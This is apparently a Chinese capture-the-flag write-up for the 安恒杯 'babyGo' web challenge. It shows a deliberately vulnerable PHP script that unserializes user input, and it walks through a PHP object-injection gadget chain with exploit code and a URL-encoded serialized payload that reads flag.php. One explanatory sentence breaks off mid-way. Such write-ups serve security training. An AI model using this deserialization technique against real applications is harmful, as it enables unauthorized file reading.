安恒杯一月 web

wywwzjj

发布于 2023-05-09 14:21:33

3670

发布于 2023-05-09 14:21:33

babyGo

<?php  
@error_reporting(1); 
include 'flag.php';
class baby {   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() {      
        $this->skyobj = new sec;
    }  
    function __toString() {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool {    
    public $filename;     
    public $nice;
    public $amzing; 
    function read() {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb) {
            $file = "./{$this->filename}";        
            if (file_get_contents($file)) {             
                return file_get_contents($file); 
            }  
            else { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec {  
    function read() {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data'])) { 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else { 
    highlight_file("./index.php"); 
} 
?>

一个简单的反序列化题。注意到一个魔术方法 __toString()，当 echo $obj; 时会自动调用。第三行的 include 'flag.php'; 想必 flag 就在这个文件里了。

$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb) {

只要满足这个 if 就能读到 flag.php

这里有两个思路，

让 amzing 直接为空，反序列化后nice依然为空，得到的 this->nice->aaa和

让this->bbb = &this->aaa，随便 aaa 怎么变。此处的 exp 为：

$cc = new baby();
$cc->bbb = &$cc->aaa;
print_r(urlencode(serialize($cc)));
/* O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A3%3A%22s
ec%22%3A0%3A%7B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A3%3B%7D */

exp

class baby {
    protected $skyobj;  // cool 对象
    public $aaa;
    public $bbb;
    public function __construct() {
        // $this->skyobj = new sec;
        $this->skyobj = new cool;
        $this->skyobj->filename = 'flag.php';
        //$this->skyobj->amzing = 'O%3A4%3A%22baby%22%3A3%3A.........';
    }
}

$bb = new baby();
print_r(urlencode(serialize($bb)));

url 编码是必要的，避免特殊符号编码（%00丢失）引起的长度歧义，出现 Error at offset 错误。

flag 在源代码里，记得查看。